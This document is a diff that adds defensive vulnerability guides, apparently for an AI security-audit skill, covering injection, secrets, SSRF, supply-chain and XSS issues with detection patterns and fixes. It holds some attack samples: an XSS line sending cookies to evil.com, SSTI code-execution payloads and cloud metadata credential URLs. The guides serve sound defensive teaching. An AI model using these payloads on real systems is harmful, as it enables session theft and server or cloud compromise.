cyberaudit-skill 3.0.0

package/skills/cyberaudit/web/vulnerabilities/INJECTION.md

@@ -0,0 +1,165 @@
+# 💉 INJECTION — VULNERABILITY GUIDE
+# All forms of injection for web applications
+
+═══════════════════════════════════════════════════════════════
+               DEFINITION
+═══════════════════════════════════════════════════════════════
+
+AN INJECTION = untrusted data sent to an interpreter
+The interpreter cannot distinguish between
+data and commands → it executes data as commands.
+
+OWASP : A03:2021 — Injection
+CWE   : CWE-89 (SQL), CWE-77 (Command), CWE-94 (Code)
+
+═══════════════════════════════════════════════════════════════
+               SQL INJECTION
+═══════════════════════════════════════════════════════════════
+
+TYPES :
+  Classic    : Result directly visible
+  Blind      : No result → behavior analysis
+  Time-based : Based on response delays (SLEEP())
+  Second-order: Injected now, executed later
+
+PATTERNS TO DETECT (all frameworks) :
+  Direct interpolation : "SELECT * FROM users WHERE id = " + id
+  Template literals     : `SELECT * FROM users WHERE id = ${id}`
+  PHP concatenation     : "WHERE name = '" . $name . "'"
+  Format string         : sprintf("WHERE id = %s", $id)
+
+DETECTING DANGEROUS FUNCTIONS :
+  PHP    : mysqli_query(), pg_query(), sqlite_query() with variables
+  Node   : db.query(), pool.execute() without parameters
+  Python : cursor.execute() with f-string or %
+
+UNIVERSAL REMEDIATION :
+  1. Parameterized queries (prepared statements)
+  2. ORM with safe query methods
+  3. Whitelist for non-parameterizable parts (ORDER BY, table names)
+  4. Principle of least privilege on DB account
+
+═══════════════════════════════════════════════════════════════
+               NOSQL INJECTION
+═══════════════════════════════════════════════════════════════
+
+MONGODB — DANGEROUS PATTERNS :
+  DETECT :
+    // User input passed directly as filter
+    db.users.find({ username: req.body.username })
+    // If username = { $gt: "" } → returns all users!
+
+    // $where with JS code
+    db.users.find({ $where: `this.username == '${username}'` })
+
+    // Unrestricted regex → ReDoS
+    db.products.find({ name: { $regex: req.query.search } })
+
+  FIX :
+    // Sanitize MongoDB operators
+    import mongoSanitize from 'express-mongo-sanitize'
+    app.use(mongoSanitize())
+
+    // Or strict type validation
+    const username = String(req.body.username)
+    // String() converts everything to string,
+    // { $gt: "" } becomes "[object Object]"
+
+    // For Mongoose, use typed methods
+    await User.findOne({ username: username })  // Mongoose escapes
+
+    // $where : never use with user input
+    // Regex : always limit complexity
+    const searchTerm = req.query.search.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
+    await Product.find({ name: { $regex: searchTerm, $options: 'i' } })
+
+═══════════════════════════════════════════════════════════════
+               COMMAND INJECTION
+═══════════════════════════════════════════════════════════════
+
+DANGEROUS PATTERNS :
+  NODE.JS :
+    exec(`ping ${host}`)
+    execSync(`convert ${req.file.path} output.jpg`)
+    spawn('sh', ['-c', userCommand])
+
+  PHP :
+    system("ping " . $host);
+    exec("ffmpeg -i " . $filename);
+    shell_exec(`convert {$userInput}`);
+
+  REMEDIATION :
+    // Avoid shell commands with user input
+    // Use native libraries instead
+
+    // ❌ Instead of:
+    exec(`convert ${inputFile} ${outputFile}`)
+
+    // ✅ Use sharp (Node.js) :
+    import sharp from 'sharp'
+    await sharp(inputPath).resize(800).toFile(outputPath)
+
+    // If shell unavoidable : strict validation + no shell=true
+    import { execFile } from 'child_process'
+
+    // Whitelist commands and arguments
+    const allowedHosts = ['google.com', 'github.com']
+    if (!allowedHosts.includes(host)) throw new Error('Host not allowed')
+
+    execFile('ping', ['-c', '1', host], (err, stdout) => {
+      // execFile does not interpret shell
+      // Arguments are passed directly, not via sh -c
+    })
+
+═══════════════════════════════════════════════════════════════
+               SSTI (SERVER-SIDE TEMPLATE INJECTION)
+═══════════════════════════════════════════════════════════════
+
+VULNERABLE ENGINES AND TEST PAYLOADS :
+  Jinja2/Twig : {{7*7}} → 49 if vulnerable
+  Twig        : {{_self.env.registerUndefinedFilterCallback("exec")}}
+  EJS         : <%= 7*7 %>
+  Handlebars  : {{constructor.constructor('return process')()}}
+  Pug/Jade    : #{7*7}
+
+PATTERNS TO DETECT :
+  // Template compiled with user input
+  const template = ejs.compile(req.body.template)
+  const html = pug.render(userTemplate)
+  const result = nunjucks.renderString(userContent, data)
+
+REMEDIATION :
+  // Never render templates provided by the user
+  // Use static templates with variables
+  // (not dynamic templates provided by the user)
+
+  // ❌ DANGEROUS :
+  const rendered = ejs.render(req.body.emailTemplate, { name: user.name })
+
+  // ✅ SECURE : Fixed template, variable data
+  const rendered = ejs.render(
+    fs.readFileSync('./templates/email.ejs', 'utf-8'),
+    { name: sanitize(user.name) }
+  )
+
+═══════════════════════════════════════════════════════════════
+               LDAP INJECTION
+═══════════════════════════════════════════════════════════════
+
+DANGEROUS PATTERNS :
+  filter = "(&(uid=" + username + ")(userPassword=" + password + "))"
+  // If username = *)(&  → auth bypass possible
+
+REMEDIATION :
+  // Escape LDAP special characters
+  function escapeLdap(input: string): string {
+    return input
+      .replace(/\\/g, '\\5c')
+      .replace(/\*/g, '\\2a')
+      .replace(/\(/g, '\\28')
+      .replace(/\)/g, '\\29')
+      .replace(/\0/g, '\\00')
+  }
+
+  const safeUsername = escapeLdap(username)
+  const filter = `(&(uid=${safeUsername})(objectClass=person))`

package/skills/cyberaudit/web/vulnerabilities/SECRETS.md

@@ -0,0 +1,119 @@
+# 🔑 SECRETS EXPOSURE — VULNERABILITY GUIDE
+
+═══════════════════════════════════════════════════════════════
+               DEFINITION
+═══════════════════════════════════════════════════════════════
+
+A SECRET IN CODE = a secret shared with :
+  → All developers with repo access
+  → GitHub/GitLab (if breach or accidental public repo)
+  → CI/CD logs
+  → Error messages (if displayed)
+  → Source maps (if exposed)
+  → Anyone who forks or clones the repo
+
+OWASP : A02:2021 — Cryptographic Failures
+CWE   : CWE-798 — Hardcoded Credentials
+
+═══════════════════════════════════════════════════════════════
+               PATTERNS TO DETECT
+═══════════════════════════════════════════════════════════════
+
+UNIVERSAL REGEX PATTERNS :
+  AWS Keys      : AKIA[0-9A-Z]{16}
+  AWS Secret    : aws_secret_access_key\s*=\s*[A-Za-z0-9/+=]{40}
+  OpenAI        : sk-[A-Za-z0-9]{48}
+  GitHub Token  : gh[pousr]_[A-Za-z0-9_]{36,255}
+  Stripe Live   : sk_live_[0-9a-zA-Z]{24}
+  Stripe Test   : sk_test_[0-9a-zA-Z]{24}
+  Private Key   : -----BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY-----
+  JWT Secret    : jwt[_-]?secret\s*[:=]\s*["'][^"']{8,}
+  DB URL        : (postgresql|mysql|mongodb)://[^:]+:[^@]+@
+  Generic Pwd   : password\s*[:=]\s*["'][^"']{6,}
+
+OFTEN FORGOTTEN LOCATIONS :
+  → Test files (test.js, spec.php, fixtures)
+  → Database seed files
+  → Migration scripts
+  → Example configuration files
+  → Comments in code
+  → Git history (git log -p | grep -i "api_key")
+  → Variables in GitHub Actions
+  → Variables in Dockerfiles
+
+═══════════════════════════════════════════════════════════════
+               REMEDIATION
+═══════════════════════════════════════════════════════════════
+
+STEP 1 — IMMEDIATE ROTATION (if secret exposed)
+  1. Revoke the exposed secret IMMEDIATELY
+  2. Generate a new secret
+  3. Deploy with the new secret
+  4. Check logs for unauthorized access
+  5. Inform stakeholders if necessary
+
+STEP 2 — REMOVE FROM CODE
+  // Remove from current code
+  // But beware : it remains in git history!
+
+STEP 3 — PURGE GIT HISTORY
+  # Use BFG Repo Cleaner (simpler than git-filter-branch)
+  # Installation : brew install bfg
+
+  # Delete an entire file
+  bfg --delete-files .env
+
+  # Replace a specific value
+  echo "sk-abc123...==>REMOVED" > replacements.txt
+  bfg --replace-text replacements.txt
+
+  # Finalize
+  git reflog expire --expire=now --all
+  git gc --prune=now --aggressive
+  git push origin --force --all
+
+  # WARNING : Notify the entire team to re-clone
+
+STEP 4 — PREVENTION
+  # .gitignore
+  .env
+  .env.local
+  .env.*.local
+  .env.production
+  *.key
+  *.pem
+  secrets.json
+  config/secrets.yml
+
+  # Pre-commit hook with detect-secrets
+  pip install detect-secrets
+  detect-secrets scan > .secrets.baseline
+  # In .pre-commit-config.yaml :
+  # - repo: https://github.com/Yelp/detect-secrets
+  #   hooks:
+  #     - id: detect-secrets
+
+  # GitHub : enable Secret Scanning in settings
+  # GitLab : enable Secret Detection in CI
+
+STEP 5 — SECRET MANAGER
+  SOLUTIONS :
+  → HashiCorp Vault (self-hosted, very comprehensive)
+  → AWS Secrets Manager (if on AWS)
+  → Google Secret Manager (if on GCP)
+  → Azure Key Vault (if on Azure)
+  → Infisical (open-source, easy)
+  → Doppler (SaaS, simple)
+
+  // Example with Infisical (Node.js)
+  import { InfisicalClient } from '@infisical/sdk'
+
+  const client = new InfisicalClient({
+    token: process.env.INFISICAL_TOKEN,
+  })
+
+  const { secretValue: dbPassword } = await client.getSecret({
+    environment: 'production',
+    projectId: process.env.INFISICAL_PROJECT_ID,
+    secretName: 'DB_PASSWORD',
+  })

package/skills/cyberaudit/web/vulnerabilities/SSRF.md

@@ -0,0 +1,124 @@
+# 🌍 SSRF — SERVER-SIDE REQUEST FORGERY GUIDE
+
+═══════════════════════════════════════════════════════════════
+               DEFINITION
+═══════════════════════════════════════════════════════════════
+
+SSRF = The attacker forces the server to make HTTP requests
+       to destinations they control, including
+       internal resources normally inaccessible.
+
+WHY IT IS CRITICAL :
+  → In cloud (AWS, GCP, Azure) : access to instance metadata
+    → IAM credentials → cloud account compromise
+  → Access to internal services not publicly exposed
+    → Redis, Elasticsearch, internal databases
+  → Internal network scanning
+  → Firewall bypass
+
+OWASP : A10:2021
+CWE   : CWE-918
+
+═══════════════════════════════════════════════════════════════
+               PATTERNS TO DETECT
+═══════════════════════════════════════════════════════════════
+
+SSRF ENTRY POINTS :
+  → fetch(url) where url comes from user
+  → axios.get(req.body.url)
+  → Import of an external URL (PDF, image, file)
+  → User-configured webhook
+  → Content proxy
+  → HTML-to-PDF conversion with URL
+  → Import/export from a URL
+  → Link preview (OpenGraph scraping)
+
+VULNERABLE CODE :
+  // ❌ File import from user URL
+  app.post('/import', async (req, res) => {
+    const { url } = req.body
+    const content = await fetch(url)  // SSRF!
+    await processContent(content)
+  })
+
+  // ❌ Webhook without validation
+  app.post('/webhook-config', async (req, res) => {
+    const { callbackUrl } = req.body
+    await WebhookConfig.create({ url: callbackUrl }) // SSRF on trigger
+  })
+
+  // ❌ Image proxy
+  app.get('/proxy', async (req, res) => {
+    const { url } = req.query
+    const response = await fetch(url) // SSRF
+    response.body.pipe(res)
+  })
+
+  // ❌ HTML-to-PDF with URL
+  const pdf = await htmlToPdf.create(req.body.url)
+
+CLOUD SSRF TARGETS :
+  AWS  : http://169.254.169.254/latest/meta-data/
+         http://169.254.169.254/latest/meta-data/iam/security-credentials/
+  GCP  : http://metadata.google.internal/computeMetadata/v1/
+  Azure: http://169.254.169.254/metadata/instance
+
+═══════════════════════════════════════════════════════════════
+               REMEDIATION
+═══════════════════════════════════════════════════════════════
+
+APPROACH 1 — DOMAIN WHITELIST
+  const ALLOWED_DOMAINS = new Set([
+    'trusted-partner.com',
+    'cdn.yourapp.com',
+    'api.github.com',
+  ])
+
+  async function safeFetch(url: string): Promise<Response> {
+    let parsed: URL
+    try {
+      parsed = new URL(url)
+    } catch {
+      throw new Error('Invalid URL')
+    }
+
+    // 1. HTTP/HTTPS protocol only
+    if (!['http:', 'https:'].includes(parsed.protocol)) {
+      throw new Error('Protocol not allowed')
+    }
+
+    // 2. Hostname in whitelist
+    const hostname = parsed.hostname.toLowerCase()
+    if (!ALLOWED_DOMAINS.has(hostname)) {
+      throw new Error('Domain not allowed')
+    }
+
+    // 3. DNS resolution and IP verification
+    const { address } = await dns.promises.lookup(hostname)
+    if (isPrivateIP(address)) {
+      throw new Error('Private IP not allowed')
+    }
+
+    return fetch(url, { redirect: 'error' }) // No redirects
+  }
+
+  function isPrivateIP(ip: string): boolean {
+    const privateRanges = [
+      /^10\./,
+      /^172\.(1[6-9]|2\d|3[01])\./,
+      /^192\.168\./,
+      /^127\./,
+      /^169\.254\./,  // Link-local (cloud metadata)
+      /^::1$/,        // IPv6 loopback
+      /^fc00:/,       // IPv6 private
+      /^fe80:/,       // IPv6 link-local
+    ]
+    return privateRanges.some(range => range.test(ip))
+  }
+
+APPROACH 2 — NETWORK (Infrastructure)
+  → Configure firewall to block outbound requests
+    from the server to the internal network
+  → Block access to cloud metadata endpoints
+    at the network ACL level
+  → Use a dedicated outbound proxy that filters destinations

package/skills/cyberaudit/web/vulnerabilities/SUPPLY-CHAIN.md

@@ -0,0 +1,142 @@
+# 📦 SUPPLY CHAIN — VULNERABILITY GUIDE
+
+═══════════════════════════════════════════════════════════════
+               DEFINITION
+═══════════════════════════════════════════════════════════════
+
+SUPPLY CHAIN ATTACK = Compromising an application
+via a third-party dependency rather than directly.
+
+Real examples :
+  → Log4Shell (CVE-2021-44228) : Log4j → RCE in thousands of apps
+  → event-stream (2018) : backdoored npm package → crypto theft
+  → xz utils (2024) : backdoor in a Linux compression library
+  → ua-parser-js (2021) : compromised npm package → cryptominer
+
+OWASP : A06:2021 — Vulnerable and Outdated Components
+CWE   : CWE-1104
+
+═══════════════════════════════════════════════════════════════
+               ATTACK VECTORS
+═══════════════════════════════════════════════════════════════
+
+TYPOSQUATTING
+  → Malicious package with a name similar to the legitimate package
+  → "coIors" (capital I) instead of "colors"
+  → "lodahs" instead of "lodash"
+  → "crossenv" instead of "cross-env"
+
+DEPENDENCY CONFUSION
+  → Internal package named "monapp-utils"
+  → Attacker publishes "monapp-utils" on public npm
+  → npm installs the public version (higher version number)
+  → Backdoor executed in CI/CD
+
+PACKAGE HIJACKING
+  → Developer abandons a popular package
+  → Attacker takes over maintainership
+  → Publishes a trojaned version
+
+MAINTAINER ACCOUNT COMPROMISE
+  → npm/PyPI maintainer account hacked
+  → New version published with backdoor
+
+MALICIOUS POSTINSTALL
+  → postinstall script in a dependency's package.json
+  → Executed automatically on every npm install
+  → Exfiltrates secrets, installs a backdoor
+
+═══════════════════════════════════════════════════════════════
+               DEPENDENCY AUDIT
+═══════════════════════════════════════════════════════════════
+
+AUDIT COMMANDS :
+  npm:
+    npm audit                    # Known CVEs
+    npm audit --audit-level=high # High+ only
+    npx better-npm-audit audit   # Better UI
+    npx npm-check-updates        # Outdated packages
+
+  Yarn:
+    yarn audit
+    yarn outdated
+
+  PNPM:
+    pnpm audit
+
+  PHP Composer:
+    composer audit               # Since Composer 2.4
+    # OR
+    composer require --dev roave/security-advisories
+
+  Python:
+    pip-audit                    # pip install pip-audit
+    safety check                 # pip install safety
+
+WHAT TO LOOK FOR :
+  □ Unfixed critical and high CVEs
+  □ Unmaintained packages (last publish > 2 years, 0 downloads)
+  □ Packages with suspicious postinstall scripts
+  □ Packages requesting too many permissions
+  □ Missing or uncommitted lock file
+  □ Versions pinned with ^ or ~ (permissive)
+  □ Dependencies directly from GitHub without hash
+
+═══════════════════════════════════════════════════════════════
+               REMEDIATION
+═══════════════════════════════════════════════════════════════
+
+COMMIT LOCK FILES
+  # These files must be in git
+  package-lock.json
+  yarn.lock
+  pnpm-lock.yaml
+  composer.lock
+  Pipfile.lock
+  poetry.lock
+
+  # They guarantee everyone installs
+  # exactly the same versions
+
+PIN VERSIONS (critical dependencies)
+  # Instead of :
+  "react": "^18.0.0"   # Accepts 18.x.x
+
+  # For critical dependencies :
+  "react": "18.2.0"    # Exactly this version
+
+VERIFY POSTINSTALL SCRIPTS
+  # In a dependency's package.json, look for :
+  "scripts": {
+    "postinstall": "node ./dist/install.js"  # What does this script do?
+  }
+
+  # npm option : disable scripts
+  npm install --ignore-scripts
+
+  # Manually check unknown packages before installation
+
+AUDIT IN CI/CD
+  # GitHub Actions
+  - name: Security audit
+    run: |
+      npm audit --audit-level=high
+      exit_code=$?
+      if [ $exit_code -ne 0 ]; then
+        echo "::error::Critical vulnerabilities detected"
+        exit 1
+      fi
+
+PRIVATE REGISTRY
+  # .npmrc to force private registry
+  registry=https://registry.your-company.com
+  always-auth=true
+
+  # Prevents dependency confusion by configuring private scopes
+  @company:registry=https://registry.your-company.com
+
+ADDITIONAL TOOLS
+  → Socket.dev : behavioral analysis of npm packages
+  → Snyk      : dependency audit with auto-fix
+  → Dependabot: automatic PRs for security updates
+  → Renovate  : similar to Dependabot, more configurable

package/skills/cyberaudit/web/vulnerabilities/XSS.md

@@ -0,0 +1,133 @@
+# 🔥 XSS — CROSS-SITE SCRIPTING GUIDE
+
+═══════════════════════════════════════════════════════════════
+               DEFINITION AND TYPES
+═══════════════════════════════════════════════════════════════
+
+XSS = Injection of malicious JavaScript code
+      that executes in a victim's browser.
+
+OWASP : A03:2021
+CWE   : CWE-79
+
+TYPE 1 — REFLECTED XSS
+  Payload in request → response → immediate execution
+  Vector : Malicious link sent to victim
+  Example : GET /search?q=<script>alert(1)</script>
+
+TYPE 2 — STORED XSS (most dangerous)
+  Payload stored in DB → displayed to other users
+  Vector : Comment, profile, message, page title
+  Example : Comment with <script>document.location='evil.com?c='+document.cookie</script>
+
+TYPE 3 — DOM XSS
+  Payload manipulates DOM directly via JavaScript
+  Vector : URL hash, postMessage, localStorage
+  Example : document.getElementById('msg').innerHTML = location.hash
+
+TYPE 4 — BLIND XSS
+  Payload executed in an admin context invisible to attacker
+  Vector : Support fields, admin logs, internal forms
+  Tools  : XSS Hunter for detection
+
+═══════════════════════════════════════════════════════════════
+               PATTERNS TO DETECT
+═══════════════════════════════════════════════════════════════
+
+JAVASCRIPT DANGEROUS SINKS
+  element.innerHTML = userInput
+  element.outerHTML = userInput
+  document.write(userInput)
+  document.writeln(userInput)
+  element.insertAdjacentHTML('afterbegin', userInput)
+  eval(userInput)
+  new Function(userInput)
+  setTimeout(userInput)     // If string
+  setInterval(userInput)    // If string
+  location.href = userInput // Open redirect + XSS
+  location = userInput
+  location.assign(userInput)
+
+VUE — DANGEROUS :
+  v-html="userInput"        // Without sanitization
+
+REACT — DANGEROUS :
+  dangerouslySetInnerHTML={{ __html: userInput }}
+
+ANGULAR — DANGEROUS :
+  bypassSecurityTrustHtml(userInput)
+  [innerHTML]="userInput"   // Angular sanitizes, but be careful
+
+PHP/BLADE — DANGEROUS :
+  {!! $userInput !!}
+  <?= $userInput ?>
+  echo $userInput
+
+═══════════════════════════════════════════════════════════════
+               CONTENT SECURITY POLICY (CSP)
+═══════════════════════════════════════════════════════════════
+
+CSP = Last line of defense against XSS.
+Even if code is injected, CSP prevents its execution.
+
+STRONG CSP (recommended)
+  Content-Security-Policy:
+    default-src 'self';
+    script-src 'self' 'nonce-{RANDOM_NONCE}';
+    style-src 'self' 'unsafe-inline';
+    img-src 'self' data: https:;
+    font-src 'self';
+    connect-src 'self' https://api.yourapp.com;
+    frame-ancestors 'none';
+    base-uri 'self';
+    form-action 'self';
+    upgrade-insecure-requests;
+
+NONCE (for legitimate inline scripts)
+  // Server side : generate a unique nonce per request
+  const nonce = crypto.randomBytes(16).toString('base64')
+
+  // In CSP header :
+  script-src 'self' 'nonce-{NONCE}'
+
+  // In HTML :
+  <script nonce="{NONCE}">
+    // Legitimate inline script
+  </script>
+
+COMMON CSP ERRORS
+  ❌ unsafe-inline in script-src → CSP useless against XSS
+  ❌ unsafe-eval in script-src  → eval() allowed
+  ❌ * in default-src           → Too permissive
+  ❌ data: in script-src        → XSS via data URI
+
+TEST YOUR CSP :
+  → https://csp-evaluator.withgoogle.com/
+  → Mozilla Observatory : https://observatory.mozilla.org/
+
+═══════════════════════════════════════════════════════════════
+               REMEDIATION BY CONTEXT
+═══════════════════════════════════════════════════════════════
+
+HTML CONTEXT (between tags)
+  ❌ <div>USERDATA</div>
+  ✅ <div>{{ htmlspecialchars(userdata) }}</div>
+  ✅ <div>{{ userdata }}</div>  (Vue, Angular, Blade auto-escape)
+  ✅ <div>{userdata}</div>     (React auto-escape)
+
+HTML ATTRIBUTE CONTEXT
+  ❌ <div class="USERDATA">
+  ✅ <div class="{{ attr(userdata) }}">
+  Warning : Even a non-event attribute can be dangerous
+  <div style="background: url(USERDATA)"> → XSS via url()
+
+URL CONTEXT
+  ❌ <a href="USERDATA">
+  ✅ Validate that URL starts with http:// or https://
+     and not with javascript: or data:
+
+JAVASCRIPT CONTEXT
+  ❌ <script>var x = 'USERDATA';</script>
+  ✅ Use JSON.stringify() for JS values
+  ✅ Or better : never inject data into JS
+     Use API calls instead